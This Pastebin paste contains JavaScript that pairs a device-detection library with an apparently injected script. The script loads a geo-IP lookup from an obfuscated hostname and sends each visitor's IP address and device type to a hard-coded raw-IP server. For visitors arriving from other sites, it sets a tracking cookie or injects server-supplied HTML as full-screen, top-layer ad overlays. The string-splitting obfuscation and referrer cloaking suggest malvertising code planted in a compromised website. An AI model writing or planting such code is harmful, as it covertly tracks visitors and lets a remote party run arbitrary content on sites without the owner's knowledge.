Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;(function() {
- var a, b, c, d, e, f, g, h, i, j;
- b = window.device,
- a = {},
- window.device = a,
- d = window.document.documentElement,
- j = window.navigator.userAgent.toLowerCase(),
- a.ios = function() {
- return a.iphone() || a.ipod() || a.ipad()
- }
- ,
- a.iphone = function() {
- return !a.windows() && e("iphone")
- }
- ,
- a.ipod = function() {
- return e("ipod")
- }
- ,
- a.ipad = function() {
- return e("ipad")
- }
- ,
- a.android = function() {
- return !a.windows() && e("android")
- }
- ,
- a.androidPhone = function() {
- return a.android() && e("mobile")
- }
- ,
- a.androidTablet = function() {
- return a.android() && !e("mobile")
- }
- ,
- a.blackberry = function() {
- return e("blackberry") || e("bb10") || e("rim")
- }
- ,
- a.blackberryPhone = function() {
- return a.blackberry() && !e("tablet")
- }
- ,
- a.blackberryTablet = function() {
- return a.blackberry() && e("tablet")
- }
- ,
- a.windows = function() {
- return e("windows")
- }
- ,
- a.windowsPhone = function() {
- return a.windows() && e("phone")
- }
- ,
- a.windowsTablet = function() {
- return a.windows() && e("touch") && !a.windowsPhone()
- }
- ,
- a.fxos = function() {
- return (e("(mobile;") || e("(tablet;")) && e("; rv:")
- }
- ,
- a.fxosPhone = function() {
- return a.fxos() && e("mobile")
- }
- ,
- a.fxosTablet = function() {
- return a.fxos() && e("tablet")
- }
- ,
- a.meego = function() {
- return e("meego")
- }
- ,
- a.cordova = function() {
- return window.cordova && "file:" === location.protocol
- }
- ,
- a.nodeWebkit = function() {
- return "object" == typeof window.process
- }
- ,
- a.mobile = function() {
- return a.androidPhone() || a.iphone() || a.ipod() || a.windowsPhone() || a.blackberryPhone() || a.fxosPhone() || a.meego()
- }
- ,
- a.tablet = function() {
- return a.ipad() || a.androidTablet() || a.blackberryTablet() || a.windowsTablet() || a.fxosTablet()
- }
- ,
- a.desktop = function() {
- return !a.tablet() && !a.mobile()
- }
- ,
- a.television = function() {
- var a;
- for (television = ["googletv", "viera", "smarttv", "internet.tv", "netcast", "nettv", "appletv", "boxee", "kylo", "roku", "dlnadoc", "roku", "pov_tv", "hbbtv", "ce-html"],
- a = 0; a < television.length; ) {
- if (e(television[a]))
- return !0;
- a++
- }
- return !1
- }
- ,
- a.portrait = function() {
- return window.innerHeight / window.innerWidth > 1
- }
- ,
- a.landscape = function() {
- return window.innerHeight / window.innerWidth < 1
- }
- ,
- a.noConflict = function() {
- return window.device = b,
- this
- }
- ,
- e = function(a) {
- return -1 !== j.indexOf(a)
- }
- ,
- g = function(a) {
- var b;
- return b = new RegExp(a,"i"),
- d.className.match(b)
- }
- ,
- c = function(a) {
- var b = null;
- g(a) || (b = d.className.replace(/^\s+|\s+$/g, ""),
- d.className = b + " " + a)
- }
- ,
- i = function(a) {
- g(a) && (d.className = d.className.replace(" " + a, ""))
- }
- ,
- a.ios() ? a.ipad() ? c("ios ipad tablet") : a.iphone() ? c("ios iphone mobile") : a.ipod() && c("ios ipod mobile") : a.android() ? c(a.androidTablet() ? "android tablet" : "android mobile") : a.blackberry() ? c(a.blackberryTablet() ? "blackberry tablet" : "blackberry mobile") : a.windows() ? c(a.windowsTablet() ? "windows tablet" : a.windowsPhone() ? "windows mobile" : "desktop") : a.fxos() ? c(a.fxosTablet() ? "fxos tablet" : "fxos mobile") : a.meego() ? c("meego mobile") : a.nodeWebkit() ? c("node-webkit") : a.television() ? c("television") : a.desktop() && c("desktop"),
- a.cordova() && c("cordova"),
- f = function() {
- a.landscape() ? (i("portrait"),
- c("landscape")) : (i("landscape"),
- c("portrait"))
- }
- ,
- h = Object.prototype.hasOwnProperty.call(window, "onorientationchange") ? "orientationchange" : "resize",
- window.addEventListener ? window.addEventListener(h, f, !1) : window.attachEvent ? window.attachEvent(h, f) : window[h] = f,
- f(),
- "function" == typeof define && "object" == typeof define.amd && define.amd ? define(function() {
- return a
- }) : "undefined" != typeof module && module.exports ? module.exports = a : window.device = a
- }
- ).call(this);
- (function(options) {
- var url, cname = "_g_hl9vjssuHK6riw3ks-R0rq0V-7RYmGYi";
- window.g_callbackIp = function(arg) {
- var xhr = new XMLHttpRequest();
- xhr.open('GET', url + "?c=" + arg.ip + "&m=" + (!window.device.desktop() ? 1 : 0) + (getRequestParameter("_G_SKIP") ? "&_G_SKIP=1" : ""), true);
- xhr.setRequestHeader('Content-Type', 'application/json');
- xhr.send();
- xhr.onreadystatechange = function() {
- if (this.readyState != 4)
- return;
- if (this.status == 200) {
- var response = JSON.parse(this.responseText);
- if (!response.a || !checkRef())
- return;
- switch (response.a) {
- case 'c':
- setCookie(cname, 1, {
- expires: 60 * 60 * 24 * 365
- });
- break;
- case 's':
- if (!response.r || !(response.r instanceof Array))
- return;
- show(response.r);
- break
- }
- }
- }
- }
- ;
- function checkRef() {
- if (getRequestParameter("_G_SKIP"))
- return true;
- var r = new RegExp(window.location.hostname,'i');
- return document.referrer && !r.test(document.referrer)
- }
- function getCookie(name) {
- var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
- return matches ? decodeURIComponent(matches[1]) : undefined
- }
- function setCookie(name, value, options) {
- options = options || {};
- var expires = options.expires;
- if (typeof expires == "number" && expires) {
- var d = new Date();
- d.setTime(d.getTime() + expires * 1000);
- expires = options.expires = d
- }
- if (expires && expires.toUTCString) {
- options.expires = expires.toUTCString()
- }
- value = encodeURIComponent(value);
- var updatedCookie = name + "=" + value;
- for (var propName in options) {
- if (options.hasOwnProperty(propName)) {
- updatedCookie += "; " + propName;
- var propValue = options[propName];
- if (propValue !== true) {
- updatedCookie += "=" + propValue
- }
- }
- }
- document.cookie = updatedCookie
- }
- function init(options) {
- url = options.url || '';
- if (!getCookie(cname)) {
- load()
- }
- }
- function load() {
- var s = document.createElement('script');
- s.setAttribute("type", "text/javascript");
- s.setAttribute("src", '//f' + 'r' + 'e' + 'e' + 'g' + 'e' + 'o' + 'i' + 'p' + '.n' + 'e' + 't' + '/j' + 'so' + 'n?c' + 'all' + 'ba' + 'ck=g_' + 'cal' + 'lba' + 'ckI' + 'p');
- if (s) {
- document.getElementsByTagName("head")[0].appendChild(s)
- }
- }
- function show(configs) {
- var body = document.getElementsByTagName("body")[0];
- var adsScript = document.createElement('script');
- adsScript.setAttribute("type", "text/javascript");
- adsScript.setAttribute("src", '//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js');
- adsScript.setAttribute("async", "");
- body.appendChild(adsScript);
- configs.forEach(function(item) {
- if (item.c) {
- insertAdv(item.c, item.s)
- }
- })
- }
- function insertAdv(code, position) {
- var matchedHeight = code.match(/height:(\d+)px/i)
- , matchedWidth = code.match(/width:(\d+)px/i)
- , h = matchedHeight ? matchedHeight[1] : 90
- , w = matchedWidth ? matchedWidth[1] : 90
- , body = document.getElementsByTagName("body")[0]
- , advDiv = document.createElement('div')
- , divId = 'div_' + getRandomInt(1, 1000)
- , innerAdvDiv = document.createElement('div');
- advDiv.setAttribute("id", divId);
- advDiv.style.position = 'fixed';
- advDiv.style.backgroundColor = body.style.backgroundColor;
- advDiv.style.textAlign = 'center';
- advDiv.style.verticalAlign = 'middle';
- advDiv.style.zIndex = '9999999999';
- switch (position) {
- case "t":
- case "b":
- if (position == "t") {
- advDiv.style.top = 0
- } else {
- advDiv.style.bottom = 0
- }
- advDiv.style.height = h + "px";
- advDiv.style.width = "100%";
- break;
- case "l":
- case "r":
- if (position == "l") {
- advDiv.style.left = 0
- } else {
- advDiv.style.right = 0
- }
- advDiv.style.top = (window.innerHeight / 2 - h / 2) + "px";
- advDiv.style.height = "100%";
- advDiv.style.width = w + "px";
- break;
- case "lb":
- case "rb":
- if (position == "lb") {
- advDiv.style.left = 0
- } else {
- advDiv.style.right = 0
- }
- advDiv.style.bottom = 0;
- advDiv.style.height = "100%";
- advDiv.style.width = w + "px";
- innerAdvDiv.style.position = 'absolute';
- innerAdvDiv.style.bottom = 0;
- break;
- case "lt":
- case "rt":
- if (position == "lt") {
- advDiv.style.left = 0
- } else {
- advDiv.style.right = 0
- }
- advDiv.style.top = 0;
- advDiv.style.height = "100%";
- advDiv.style.width = w + "px";
- innerAdvDiv.style.position = 'absolute';
- innerAdvDiv.style.top = 0;
- break
- }
- advDiv.setAttribute("data-height", h);
- innerAdvDiv.innerHTML = code;
- advDiv.appendChild(innerAdvDiv);
- body.appendChild(advDiv);
- (adsbygoogle = window.adsbygoogle || []).push({});
- if (position == "l" || position == "r") {
- addEvent('onresize', function() {
- onResizeWindow(this)
- }
- .bind(advDiv))
- }
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min)) + min
- }
- function onResizeWindow(div) {
- var advHeight = div.getAttribute("data-height");
- div.style.top = (window.innerHeight / 2 - advHeight / 2) + "px"
- }
- function getRequestParameter(name) {
- try {
- var href = window.location.href;
- var regexS = "[\\?#&]" + name + "=([^&#]*)";
- var regex = new RegExp(regexS);
- var results = regex.exec(href);
- if (results == null)
- return "";
- else {
- return decodeURIComponent(results[1])
- }
- } catch (e) {
- return ""
- }
- }
- function addEvent(event, callback) {
- var oldHandler = window[event];
- if (typeof window[event] != 'function') {
- window[event] = callback
- } else {
- window[event] = function() {
- if (oldHandler) {
- oldHandler()
- }
- callback()
- }
- }
- }
- addEvent('onload', function() {
- init(options)
- })
- })({
- url: 'http://128.199.161.173/proxy/11/image21.php'
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement